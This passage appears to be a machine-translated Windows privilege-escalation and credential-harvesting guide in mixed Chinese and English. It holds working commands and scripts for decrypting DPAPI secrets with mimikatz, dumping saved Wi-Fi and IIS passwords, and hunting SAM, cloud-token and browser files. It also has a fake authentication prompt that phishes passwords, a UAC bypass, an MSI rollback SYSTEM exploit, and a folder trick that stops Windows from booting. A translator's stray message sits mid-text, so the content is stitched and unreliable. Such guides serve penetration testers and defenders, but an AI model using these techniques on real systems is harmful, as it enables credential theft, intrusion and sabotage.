DPAPI enables the encryption of keys through a symmetric key that is derived from the user’s login secrets。在涉及系统加密的场景中,它使用系统的域身份验证秘密。
使用 DPAPI 加密的用户 RSA 密钥存储在 %APPDATA%\Microsoft\Protect{SID} 目录中,其中 {SID} 表示用户的 Security Identifier。The DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file,通常由 64 bytes 的随机数据组成。(需要注意的是,对该目录的访问受到限制,无法通过 dir 命令在 CMD 中列出其内容,但可以通过 PowerShell 列出)。
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
你可以使用 mimikatz module dpapi::masterkey 并带上适当的参数(/pvk 或 \/rpc``)来解密它。
被主密码保护的凭证文件通常位于:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
你可以使用 mimikatz module dpapi::cred 和适当的 /masterkey 来解密。
你可以使用 sekurlsa::dpapi 模块(如果你是 root)从 memory 中 extract many DPAPI masterkeys。
PowerShell 凭据
PowerShell credentials 常用于 scripting 和自动化任务,作为一种便捷的加密凭据存储方式。凭据受 DPAPI 保护,通常意味着它们只能由在创建它们的同一台计算机上的同一用户解密。
要从包含该凭据的文件中解密 PS 凭据,你可以执行:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
已保存的 RDP 连接
你可以在 HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\\
和 HKCU\Software\Microsoft\Terminal Server Client\Servers\
最近运行的命令
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
远程桌面凭证管理器
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
使用 Mimikatz dpapi::rdg 模块并提供适当的 /masterkey 来 解密任何 .rdg 文件\
可以使用 Mimikatz sekurlsa::dpapi 模块从内存中 提取许多 DPAPI masterkeys
Sticky Notes
人们经常在 Windows 工作站上使用 StickyNotes 应用来 保存密码 和其他信息,却没有意识到它实际上是一个数据库文件。该文件位于 C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite,并且始终值得搜索和检查。
AppCmd.exe
请注意,要从 AppCmd.exe 恢复密码,你需要是 Administrator 并在 High Integrity 级别下运行。\
AppCmd.exe 位于 %systemroot%\system32\inetsrv\ 目录中。\
如果此文件存在,则可能已配置了一些 credentials,并且可以被 recovered。
此代码摘自 PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
检查是否存在 C:\Windows\CCM\SCClient.exe .
安装程序以 run with SYSTEM privileges, 许多易受 DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
文件和注册表 (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH 主机密钥
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH 注册表中的密钥
SSH 私钥可以存储在注册表项 HKCU\Software\OpenSSH\Agent\Keys 中,因此应检查那里是否有任何有趣的内容:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
如果你在该路径下找到任何条目,它很可能是一个已保存的 SSH key。它以加密方式存储,但可以使用 https://github.com/ropnop/windows_sshagent_extract.
更多关于该技术的信息: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
如果 ssh-agent 服务未运行,且你希望其在启动时自动启动,请运行:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
看起来该技术已不再有效。我尝试创建一些 ssh keys,使用
ssh-add添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在非对称密钥认证过程中未识别到dpapi.dll的使用。
无人值守的文件
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
你也可以使用 metasploit 搜索这些文件: post/windows/gather/enum_unattend
示例内容:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM 备份
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
云凭证
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
搜索名为 SiteList.xml 的文件
缓存的 GPP 密码
以前有一个功能,允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员账户。然而,这种方法存在严重的安全漏洞。首先,Group Policy Objects (GPOs),以 XML 文件形式存储在 SYSVOL 中,任何域用户都可以访问。其次,这些 GPP 中的密码使用公开文档化的默认密钥以 AES256 加密,任何经过认证的用户都可以解密。这导致严重风险,因为它可能允许用户获取提升的权限。
为缓解此风险,开发了一个函数,用于扫描本地缓存的包含非空 “cpassword” 字段的 GPP 文件。发现此类文件后,该函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含关于 GPP 和文件位置的详细信息,便于识别和修复此安全漏洞。
在 C:\ProgramData\Microsoft\Group Policy\history 或在 C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history(W Vista 之前) 中搜索以下文件:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
要解密 cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
使用 crackmapexec 获取密码:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web 配置
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
带有 credentials 的 web.config 示例:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN 凭证
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
日志
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
请求 credentials
你可以随时 要求用户输入他的 credentials,甚至是其他用户的 credentials,如果你认为他可能知道它们(注意 直接询问 客户以获取 credentials 实际上是非常危险的):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
可能包含 credentials 的文件名
已知的一些文件曾在一段时间内包含以 clear-text 或 Base64 存储的 passwords。
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
我没有收到 src/windows-hardening/windows-local-privilege-escalation/README.md 的内容。请提供该文件的文本,或授权我访问该文件的内容,以便我按要求翻译成中文。
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
回收站中的凭证
你也应该检查回收站,查找其中的凭证
要恢复由多个程序保存的密码,你可以使用: http://www.nirsoft.net/password_recovery_tools.html
注册表中
其他可能包含凭证的注册表键
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
浏览器历史记录
You should check for dbs where passwords from Chrome or Firefox are stored.
Also check for the history, bookmarks and favourites of the browsers so maybe some passwords are stored there.
用于从浏览器提取密码的工具:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL 覆写
Component Object Model (COM) 是内置于 Windows 操作系统中的一种技术,允许不同语言的软件组件之间的相互通信。每个 COM 组件通过class ID (CLSID) 来标识,每个组件通过一个或多个接口(由 interface IDs (IIDs) 标识)来暴露功能。
COM 类和接口在注册表下的 HKEY\CLASSES\ROOT\CLSID 和 HKEY\CLASSES\ROOT\Interface 中定义。这个注册表是通过合并 HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes 而创建的,即 HKEY\CLASSES\ROOT.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
.png)
基本上,如果你能overwrite any of the DLLs(这些 DLL 将被执行),当该 DLL 被不同用户执行时,你就可能escalate privileges。
To learn how attackers use COM Hijacking as a persistence mechanism check:
文件与注册表中的通用密码搜索
搜索文件内容
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
搜索具有特定文件名的文件
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
在注册表中搜索键名和密码
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
搜索密码的工具
MSF-Credentials Plugin is a msf 插件。我创建此插件以 automatically execute every metasploit POST module that searches for credentials 在受害者系统中。
Winpeas 会自动搜索本页中提到的所有包含 passwords 的文件。
Lazagne 是另一个很棒的工具,用于从系统中提取 password。
工具 SessionGopher 会搜索若干将此类数据以明文保存的工具的 sessions, usernames 和 passwords(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
所谓的共享内存段,被称为 pipes,可用于进程间通信和数据传输。
Windows 提供了名为 Named Pipes 的功能,使不相关的进程也能共享数据,甚至跨网络。其结构类似客户端/服务器架构,角色定义为 named pipe server 和 named pipe client。
当 client 通过 pipe 发送数据时,设置该 pipe 的 server(如果拥有必要的 SeImpersonate 权限)可以 冒用 client 的身份。如果能找到一个通过你可模拟的 pipe 通信的 privileged process,当该进程与由你建立的 pipe 交互时,你就有机会通过采用该进程的身份来 gain higher privileges。关于如何执行此类攻击的说明,请参见 here 和 here。
另外,下面的工具可以用来 拦截名为 pipe 的通信(例如使用 burp): https://github.com/gabriel-sztejnworcel/pipe-intercept;另一个工具可以列出并查看所有 pipes 以发现 privescs https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
ClientAttachwithpszDomainUserset to a writable existing path → the service opens it viaCreateFileW(..., OPEN_EXISTING)and uses it for async event writes.- Each event writes the attacker-controlled
InitContextfromInitializeto that handle. Register a line app withLRegisterRequestRecipient(Req_Func 61), triggerTRequestMakeCall(Req_Func 121), fetch viaGetAsyncEvents(Req_Func 0), then unregister/shutdown to repeat deterministic writes. - Add yourself to
[TapiAdministrators]inC:\\Windows\\TAPI\\tsec.ini, reconnect, then callGetUIDllNamewith an arbitrary DLL path to executeTSPI_providerUIIdentifyasNETWORK SERVICE.
更多细节:
Telephony Tapsrv Arbitrary Dword Write To Rce
杂项
可能在 Windows 中执行内容的文件扩展名
查看页面 https://filesec.io/
监控命令行以查找密码
当以用户权限获得 shell 时,可能存在计划任务或其他进程在执行时会将凭据 以命令行参数传递。下面的脚本每两秒捕获进程的命令行,并将当前状态与前一次状态比较,输出任何差异。
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
如果你可以访问图形界面(通过 console 或 RDP)并且 UAC 已启用,在某些版本的 Microsoft Windows 中,可以从非特权用户运行 terminal 或任何其他进程(例如 “NT\AUTHORITY SYSTEM”)。
这使得可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的 binary 已由 Microsoft 签名并发布。
Some of the affected systems are the following:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
要利用此漏洞,需要执行以下步骤:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Read this to learn about Integrity Levels:
Then read this to learn about UAC and UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
The technique described in this blog post with a exploit code available here.
该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个 malicious MSI installer,用于抢占 C:\Config.Msi 文件夹,该文件夹随后会被 Windows Installer 用来在卸载其他 MSI 包时存放 rollback 文件,而这些 rollback 文件会被修改以包含恶意载荷。
该技术的概要如下:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Create an
.msithat installs a harmless file (e.g.,dummy.txt) in a writable folder (TARGETDIR). -
Mark the installer as “UAC Compliant”, so a non-admin user can run it.
-
Keep a handle open to the file after install.
-
Step 2: Begin Uninstall
-
Uninstall the same
.msi. -
The uninstall process starts moving files to
C:\Config.Msiand renaming them to.rbffiles (rollback backups). -
Poll the open file handle using
GetFinalPathNameByHandleto detect when the file becomesC:\Config.Msi\<random>.rbf. -
Step 3: Custom Syncing
-
The
.msiincludes a custom uninstall action (SyncOnRbfWritten) that: -
Signals when
.rbfhas been written. -
Then waits on another event before continuing the uninstall.
-
Step 4: Block Deletion of
.rbf -
When signaled, open the
.rbffile withoutFILE_SHARE_DELETE— this prevents it from being deleted. -
Then signal back so the uninstall can finish.
-
Windows Installer fails to delete the
.rbf, and because it can’t delete all contents,C:\Config.Msiis not removed. -
Step 5: Manually Delete
.rbf -
You (attacker) delete the
.rbffile manually. -
Now
C:\Config.Msiis empty, ready to be hijacked.
At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Recreate the
C:\Config.Msifolder yourself. -
Set weak DACLs (e.g., Everyone:F), and keep a handle open with
WRITE_DAC. -
Step 7: Run Another Install
-
Install the
.msiagain, with: -
TARGETDIR: Writable location. -
ERROROUT: A variable that triggers a forced failure. -
This install will be used to trigger rollback again, which reads
.rbsand.rbf. -
Step 8: Monitor for
.rbs -
Use
ReadDirectoryChangesWto monitorC:\Config.Msiuntil a new.rbsappears. -
Capture its filename.
-
Step 9: Sync Before Rollback
-
The
.msicontains a custom install action (SyncBeforeRollback) that: -
Signals an event when the
.rbsis created. -
Then waits before continuing.
-
Step 10: Reapply Weak ACL
-
After receiving the
.rbs createdevent: -
The Windows Installer reapplies strong ACLs to
C:\Config.Msi. -
But since you still have a handle with
WRITE_DAC, you can reapply weak ACLs again.
ACLs are only enforced on handle open, so you can still write to the folder.
-
Step 11: Drop Fake
.rbsand.rbf -
Overwrite the
.rbsfile with a fake rollback script that tells Windows to: -
Restore your
.rbffile (malicious DLL) into a privileged location (e.g.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Drop your fake
.rbfcontaining a malicious SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Signal the sync event so the installer resumes.
-
A type 19 custom action (
ErrorOut) is configured to intentionally fail the install at a known point. -
This causes rollback to begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Reads your malicious
.rbs. -
Copies your
.rbfDLL into the target location. -
You now have your malicious DLL in a SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Run a trusted auto-elevated binary (e.g.,
osk.exe) that loads the DLL you hijacked. -
Boom: Your code is executed as SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?
You could exploit NTFS internals: every folder has a hidden alternate data stream called:
C:\SomeFolder::$INDEX_ALLOCATION
该流存储该文件夹的 索引元数据。
因此,如果你 删除文件夹的 ::$INDEX_ALLOCATION 流,NTFS 会从文件系统中移除整个文件夹。
你可以使用标准的文件删除 API,例如:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
即使你调用的是一个文件 删除 API,它 删除文件夹本身。
从 Folder Contents Delete 到 SYSTEM EoP
如果你的原语不允许你删除任意文件/文件夹,但它确实允许删除攻击者可控文件夹的内容,怎么办?
- 步骤 1:设置一个诱饵文件夹和文件
- 创建:
C:\temp\folder1 - 在其内:
C:\temp\folder1\file1.txt
- 步骤 2:在
file1.txt上放置一个 oplock
- 当具有特权的进程尝试删除
file1.txt时,该 oplock 暂停执行。
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- 步骤 3:触发 SYSTEM 进程(例如,
SilentCleanup)
- 该进程会扫描文件夹(例如,
%TEMP%)并尝试删除其内容。 - 当它到达
file1.txt时,oplock triggers 并将控制权交给你的回调。
- 步骤 4:在 oplock 回调内部 — 重定向删除
-
选项 A:将
file1.txt移到其他位置 -
这样会清空
folder1而不会打破 oplock。 -
不要直接删除
file1.txt— 那会过早释放 oplock。 -
选项 B:将
folder1转换为 junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- 选项 C: 在
\RPC Control中创建一个 symlink:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
这针对存储文件夹元数据的 NTFS 内部流 — 删除它就会删除该文件夹。
- 第5步:释放 oplock
- SYSTEM 进程继续并尝试删除
file1.txt。 - 但现在,由于 junction + symlink,实际上它正在删除:
C:\Config.Msi::$INDEX_ALLOCATION
结果: C:\Config.Msi 被 SYSTEM 删除。
从任意文件夹创建到永久 DoS
利用一个原语,允许你 以 SYSTEM/admin 身份创建任意文件夹 — 即使 你不能写文件 或 设置弱权限。
创建一个名为 关键 Windows 驱动程序 的 文件夹(不是文件),例如:
C:\Windows\System32\cng.sys
- 该路径通常对应
cng.sys内核模式驱动程序。 - 如果你 预先将其创建为文件夹,Windows 在启动时无法加载实际驱动。
- 然后,Windows 在启动时尝试加载
cng.sys。 - 它看到该文件夹,无法解析实际驱动,并且崩溃或停止启动。
- 如果没有外部干预(例如,启动修复或磁盘访问),没有回退,也无法恢复。
从 High Integrity 到 SYSTEM
新服务
如果你已经在 High Integrity 进程上运行,通往 SYSTEM 的路径 可能很简单,只需 创建并执行一个新服务:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
在创建服务二进制文件时,确保它是一个有效的 service,或者二进制能够尽快执行必要操作,因为如果不是有效的 service,它将在 20s 内被终止。
AlwaysInstallElevated
从 High Integrity 进程你可以尝试 启用 AlwaysInstallElevated 注册表项 并使用 .msi 封装 安装 一个反向 shell。
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
You can find the code here.
From SeDebug + SeImpersonate to Full Token privileges
如果你拥有这些 token 权限(很可能在已经是 High Integrity 的进程中发现),你将能够使用 SeDebug 权限 打开几乎任何进程(非受保护进程),复制该进程的 token,并使用该 token 创建一个 任意进程。
使用此技术通常会 选择任何以 SYSTEM 运行且具有所有 token 权限的进程(是的,你可以找到没有全部 token 权限的 SYSTEM 进程)。
你可以 find an example of code executing the proposed technique here.
Named Pipes
这个技术被 meterpreter 用于在 getsystem 中提权。该技术包含 创建一个 pipe 然后创建/滥用一个 service 向该 pipe 写入。然后,使用 SeImpersonate 权限创建 pipe 的 server 将能够 模拟 pipe 客户端(即 service)的 token,从而获取 SYSTEM 权限。
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
